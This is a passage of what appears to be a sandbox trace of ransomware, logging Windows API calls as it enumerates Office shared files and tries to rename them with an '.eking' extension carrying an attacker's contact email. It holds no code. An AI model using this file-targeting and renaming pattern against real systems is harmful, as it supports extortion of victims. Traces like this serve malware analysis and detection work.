Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.059] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8723) returned 1 [0171.060] CloseHandle (hObject=0x1b8) returned 1 [0171.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0171.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0171.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.062] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2424) returned 1 [0171.062] CloseHandle (hObject=0x1b8) returned 1 [0171.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0171.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0171.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0171.062] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1800) returned 1 [0171.063] CloseHandle (hObject=0x1b8) returned 1 [0171.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0171.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0171.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.456] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=9568) returned 1 [0171.456] CloseHandle (hObject=0x1e8) returned 1 [0171.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0171.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0171.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.457] SetEvent (hEvent=0x174) returned 1 [0171.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.459] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=148736) returned 1 [0171.459] CloseHandle (hObject=0x1e8) returned 1 [0171.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 0x20 [0171.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 0x20 [0171.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.459] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.461] SetEvent (hEvent=0x174) returned 1 [0171.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.461] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1828608) returned 1 [0171.461] CloseHandle (hObject=0x1e8) returned 1 [0171.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0x20 [0171.461] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0171.462] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0 [0171.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.462] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=11646) returned 1 [0171.462] CloseHandle (hObject=0x1e8) returned 1 [0171.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0171.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0171.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.463] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2173696) returned 1 [0171.463] CloseHandle (hObject=0x1e8) returned 1 [0171.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0x20 [0171.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0171.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0 [0171.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.466] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15712) returned 1 [0171.466] CloseHandle (hObject=0x1e8) returned 1 [0171.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0171.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0171.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.467] SetEvent (hEvent=0x174) returned 1 [0171.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.467] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4925184) returned 1 [0171.467] CloseHandle (hObject=0x1e8) returned 1 [0171.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0x20 [0171.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0171.468] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0 [0171.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.468] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=146192) returned 1 [0171.468] CloseHandle (hObject=0x1e8) returned 1 [0171.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 0x20 [0171.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 0x20 [0171.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.470] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=47710) returned 1 [0171.470] CloseHandle (hObject=0x1e8) returned 1 [0171.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0171.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0171.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.471] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=591168) returned 1 [0171.471] CloseHandle (hObject=0x1e8) returned 1 [0171.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 0x20 [0171.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 0x20 [0171.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.475] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=444027) returned 1 [0171.476] CloseHandle (hObject=0x1e8) returned 1 [0171.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 0x20 [0171.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 0x20 [0171.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0171.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.476] SetEvent (hEvent=0x174) returned 1 [0171.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0171.477] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=395651) 